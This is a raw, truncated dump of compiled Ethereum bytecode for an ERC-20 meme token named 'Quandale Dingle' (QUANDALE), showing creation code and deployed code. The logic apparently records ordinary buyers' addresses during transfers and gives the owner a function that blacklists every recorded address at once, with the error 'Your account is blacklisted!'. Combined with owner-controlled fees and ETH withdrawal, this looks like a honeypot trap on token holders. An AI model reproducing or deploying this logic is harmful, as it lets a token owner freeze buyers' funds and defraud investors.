0910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612a8d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061313c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c906131ce565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613260565b60405180910390fd5b6115a0610cc8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610cc8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611aac57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561169d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611706576014829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60175481111561174b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611742906132cc565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ef5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118259061335e565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146118db576018548161189084610935565b61189a919061337e565b106118da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d190613446565b60405180910390fd5b5b60006118e630610935565b90506000601954821015905060175482106119015760175491505b80801561191b5750601660149054906101000a900460ff16155b80156119755750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119cb5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a215750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa957611a2f82611e7f565b60004790506000811115611aa757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611aa5573d6000803e3d6000fd5b505b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b535750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c145760009050611d9b565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cbf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cd757600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d825750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d9a57600a54600c81905550600b54600d819055505b5b611da784848484612107565b50505050565b6000838311158290611df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dec91906128c4565b60405180910390fd5b5060008385611e049190613466565b9050809150509392505050565b6000600654821115611e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4f9061350c565b60405180910390fd5b6000611e62612134565b9050611e77818461215f90919063ffffffff16565b915050919050565b6001601660146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eb757611eb6612bbb565b5b604051908082528060200260200182016040528015611ee55781602001602082028036833780820191505090505b5090503081600081518110611efd57611efc612e6d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9f57600080fd5b505afa158015611fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd79190613541565b81600181518110611feb57611fea612e6d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b6959493929190613667565b600060405180830381600087803b1580156120d057600080fd5b505af11580156120e4573d6000803e3d6000fd5b50505050506000601660146101000a81548160ff02191690831515021790555050565b80612115576121146121a9565b5b6121208484846121ec565b8061212e5761212d6123b7565b5b50505050565b60008060006121416123cb565b91509150612158818361215f90919063ffffffff16565b9250505090565b60006121a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612427565b905092915050565b6000600c541480156121bd57506000600d54145b156121c7576121ea565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121fe8761248a565b95509550955095509550955061225c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233d8161259a565b6123478483612657565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123a49190612a8d565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600654905060006618a9b65407e00090506123fd6618a9b65407e00060065461215f90919063ffffffff16565b82101561241a576006546618a9b65407e000935093505050612423565b81819350935050505b9091565b6000808311829061246e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246591906128c4565b60405180910390fd5b506000838561247d91906136f0565b9050809150509392505050565b60008060008060008060008060006124a78a600c54600d54612691565b92509250925060006124b7612134565b905060008060006124ca8e878787612727565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061253483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b600080828461254b919061337e565b905083811015612590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125879061376d565b60405180910390fd5b8091505092915050565b60006125a4612134565b905060006125bb82846127b090919063ffffffff16565b905061260f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61266c826006546124f290919063ffffffff16565b6006819055506126878160075461253c90919063ffffffff16565b6007819055505050565b6000806000806126bd60646126af888a6127b090919063ffffffff16565b61215f90919063ffffffff16565b905060006126e760646126d9888b6127b090919063ffffffff16565b61215f90919063ffffffff16565b9050600061271082612702858c6124f290919063ffffffff16565b6124f290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061274085896127b090919063ffffffff16565b9050600061275786896127b090919063ffffffff16565b9050600061276e87896127b090919063ffffffff16565b905060006127978261278985876124f290919063ffffffff16565b6124f290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156127c35760009050612825565b600082846127d1919061378d565b90508284826127e091906136f0565b14612820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281790613859565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561286557808201518184015260208101905061284a565b83811115612874576000848401525b50505050565b6000601f19601f8301169050919050565b60006128968261282b565b6128a08185612836565b93506128b0818560208601612847565b6128b98161287a565b840191505092915050565b600060208201905081810360008301526128de818461288b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612925826128fa565b9050919050565b6129358161291a565b811461294057600080fd5b50565b6000813590506129528161292c565b92915050565b6000819050919050565b61296b81612958565b811461297657600080fd5b50565b60008135905061298881612962565b92915050565b600080604083850312156129a5576129a46128f0565b5b60006129b385828601612943565b92505060206129c485828601612979565b9150509250929050565b60008115159050919050565b6129e3816129ce565b82525050565b60006020820190506129fe60008301846129da565b92915050565b6000819050919050565b6000612a29612a24612a1f846128fa565b612a04565b6128fa565b9050919050565b6000612a3b82612a0e565b9050919050565b6000612a4d82612a30565b9050919050565b612a5d81612a42565b82525050565b6000602082019050612a786000830184612a54565b92915050565b612a8781612958565b82525050565b6000602082019050612aa26000830184612a7e565b92915050565b600080600060608486031215612ac157612ac06128f0565b5b6000612acf86828701612943565b9350506020612ae086828701612943565b9250506040612af186828701612979565b9150509250925092565b600060208284031215612b1157612b106128f0565b5b6000612b1f84828501612979565b91505092915050565b612b318161291a565b82525050565b6000602082019050612b4c6000830184612b28565b92915050565b600060ff82169050919050565b612b6881612b52565b82525050565b6000602082019050612b836000830184612b5f565b92915050565b600060208284031215612b9f57612b9e6128f0565b5b6000612bad84828501612943565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bf38261287a565b810181811067ffffffffffffffff82111715612c1257612c11612bbb565b5b80604052505050565b6000612c256128e6565b9050612c318282612bea565b919050565b600067ffffffffffffffff821115612c5157612c50612bbb565b5b602082029050602081019050919050565b600080fd5b6000612c7a612c7584612c36565b612c1b565b90508083825260208201905060208402830185811115612c9d57612c9c612c62565b5b835b81811015612cc65780612cb28882612943565b845260208401935050602081019050612c9f565b5050509392505050565b600082601f830112612ce557612ce4612bb6565b5b8135612cf5848260208601612c67565b91505092915050565b60008060408385031215612d1557612d146128f0565b5b6000612d2385828601612979565b925050602083013567ffffffffffffffff811115612d4457612d436128f5565b5b612d5085828601612cd0565b9150509250929050565b60008060008060808587031215612d7457612d736128f0565b5b6000612d8287828801612979565b9450506020612d9387828801612979565b9350506040612da487828801612979565b9250506060612db587828801612979565b91505092959194509250565b60008060408385031215612dd857612dd76128f0565b5b6000612de685828601612943565b9250506020612df785828601612943565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e37602083612836565b9150612e4282612e01565b602082019050919050565b60006020820190508181036000830152612e6681612e2a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ed682612958565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f0957612f08612e9c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f70602683612836565b9150612f7b82612f14565b604082019050919050565b60006020820190508181036000830152612f9f81612f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613002602483612836565b915061300d82612fa6565b604082019050919050565b6000602082019050818103600083015261303181612ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613094602283612836565b915061309f82613038565b604082019050919050565b600060208201905081810360008301526130c381613087565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613126602583612836565b9150613131826130ca565b604082019050919050565b6000602082019050818103600083015261315581613119565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131b8602383612836565b91506131c38261315c565b604082019050919050565b600060208201905081810360008301526131e7816131ab565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061324a602983612836565b9150613255826131ee565b604082019050919050565b600060208201905081810360008301526132798161323d565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006132b6601c83612836565b91506132c182613280565b602082019050919050565b600060208201905081810360008301526132e5816132a9565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613348602383612836565b9150613353826132ec565b604082019050919050565b600060208201905081810360008301526133778161333b565b9050919050565b600061338982612958565b915061339483612958565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133c9576133c8612e9c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613430602383612836565b915061343b826133d4565b604082019050919050565b6000602082019050818103600083015261345f81613423565b9050919050565b600061347182612958565b915061347c83612958565b92508282101561348f5761348e612e9c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134f6602a83612836565b91506135018261349a565b604082019050919050565b60006020820190508181036000830152613525816134e9565b9050919050565b60008151905061353b8161292c565b92915050565b600060208284031215613557576135566128f0565b5b60006135658482850161352c565b91505092915050565b6000819050919050565b600061359361358e6135898461356e565b612a04565b612958565b9050919050565b6135a381613578565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135de8161291a565b82525050565b60006135f083836135d5565b60208301905092915050565b6000602082019050919050565b6000613614826135a9565b61361e81856135b4565b9350613629836135c5565b8060005b8381101561365a57815161364188826135e4565b975061364c836135fc565b92505060018101905061362d565b5085935050505092915050565b600060a08201905061367c6000830188612a7e565b613689602083018761359a565b818103604083015261369b8186613609565b90506136aa6060830185612b28565b6136b76080830184612a7e565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136fb82612958565b915061370683612958565b925082613716576137156136c1565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613757601b83612836565b915061376282613721565b602082019050919050565b600060208201905081810360008301526137868161374a565b9050919050565b600061379882612958565b91506137a383612958565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137dc576137db612e9c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613843602183612836565b915061384e826137e7565b604082019050919050565b6000602082019050818103600083015261387281613836565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2a4c831dc173d4d051a86062939c40da755194c9cd1ff5a680c093dda8c7f464736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101855760003560e01c806374010ece116100d1578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd8014610593578063cda368cc146105aa578063dd62ed3e146105c1578063f2fde38b146105fe5761018c565b8063a2a957bb146104f0578063a9059cbb14610519578063bfd79284146105565761018c565b806374010ece146103de5780637d1db4a5146104075780637f2feddc146104325780638da5cb5b1461046f5780638f9a55c01461049a57806395d89b41146104c55761018c565b80632fd689e31161013e5780636fc3eaec116101185780636fc3eaec1461034a57806370a0823114610361578063715018a61461039e578063725cd032146103b55761018c565b80632fd689e3146102c9578063313ce567146102f457806349bd5a5e1461031f5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f578063294423b61461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610627565b6040516101b391906128c4565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061298e565b610664565b6040516101f091906129e9565b60405180910390f35b34801561020557600080fd5b5061020e610682565b60405161021b9190612a63565b60405180910390f35b34801561023057600080fd5b506102396106a8565b6040516102469190612a8d565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612aa8565b6106b7565b60405161028391906129e9565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612afb565b610790565b6040516102c09190612b37565b60405180910390f35b3480156102d557600080fd5b506102de6107cf565b6040516102eb9190612a8d565b60405180910390f35b34801561030057600080fd5b506103096107d5565b6040516103169190612b6e565b60405180910390f35b34801561032b57600080fd5b506103346107de565b6040516103419190612b37565b60405180910390f35b34801561035657600080fd5b5061035f610804565b005b34801561036d57600080fd5b5061038860048036038101906103839190612b89565b610935565b6040516103959190612a8d565b60405180910390f35b3480156103aa57600080fd5b506103b3610986565b005b3480156103c157600080fd5b506103dc60048036038101906103d79190612cfe565b610ad9565b005b3480156103ea57600080fd5b5061040560048036038101906104009190612afb565b610c0b565b005b34801561041357600080fd5b5061041c610caa565b6040516104299190612a8d565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612b89565b610cb0565b6040516104669190612a8d565b60405180910390f35b34801561047b57600080fd5b50610484610cc8565b6040516104919190612b37565b60405180910390f35b3480156104a657600080fd5b506104af610cf1565b6040516104bc9190612a8d565b60405180910390f35b3480156104d157600080fd5b506104da610cf7565b6040516104e791906128c4565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190612d5a565b610d34565b005b34801561052557600080fd5b50610540600480360381019061053b919061298e565b610deb565b60405161054d91906129e9565b60405180910390f35b34801561056257600080fd5b5061057d60048036038101906105789190612b89565b610e09565b60405161058a91906129e9565b60405180910390f35b34801561059f57600080fd5b506105a8610e29565b005b3480156105b657600080fd5b506105bf610f02565b005b3480156105cd57600080fd5b506105e860048036038101906105e39190612dc1565b611059565b6040516105f59190612a8d565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190612b89565b6110e0565b005b60606040518060400160405280600f81526020017f5175616e64616c652044696e676c650000000000000000000000000000000000815250905090565b60006106786106716112a2565b84846112aa565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006618a9b65407e000905090565b60006106c4848484611475565b610785846106d06112a2565b6107808560405180606001604052806028815260200161387a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107366112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad9092919063ffffffff16565b6112aa565b600190509392505050565b601481815481106107a057600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108456112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806108bb5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108a36112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b6108c457600080fd5b6000479050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610931573d6000803e3d6000fd5b5050565b600061097f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e11565b9050919050565b61098e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1290612e4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ae16112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590612e4d565b60405180910390fd5b8160188190555060005b8151811015610c0657600060106000848481518110610b9a57610b99612e6d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bfe90612ecb565b915050610b78565b505050565b610c136112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790612e4d565b60405180910390fd5b8060178190555050565b60175481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600881526020017f5155414e44414c45000000000000000000000000000000000000000000000000815250905090565b610d3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090612e4d565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610dff610df86112a2565b8484611475565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6a6112a2565b73ffffffffffffffffffffffffffffffffffffffff161480610ee05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ec86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b610ee957600080fd5b6000610ef430610935565b9050610eff81611e7f565b50565b610f0a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612e4d565b60405180910390fd5b60005b60148054905081101561105657600060148281548110610fbd57610fbc612e6d565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061104e90612ecb565b915050610f9a565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e86112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90612e4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc90612f86565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611381906130aa565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190612a8d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061313c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c906131ce565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613260565b60405180910390fd5b6115a0610cc8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610cc8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611aac57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561169d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611706576014829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60175481111561174b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611742906132cc565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ef5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118259061335e565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146118db576018548161189084610935565b61189a919061337e565b106118da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d190613446565b60405180910390fd5b5b60006118e630610935565b90506000601954821015905060175482106119015760175491505b80801561191b5750601660149054906101000a900460ff16155b80156119755750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119cb5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a215750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa957611a2f82611e7f565b60004790506000811115611aa757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611aa5573d6000803e3d6000fd5b505b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b535750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff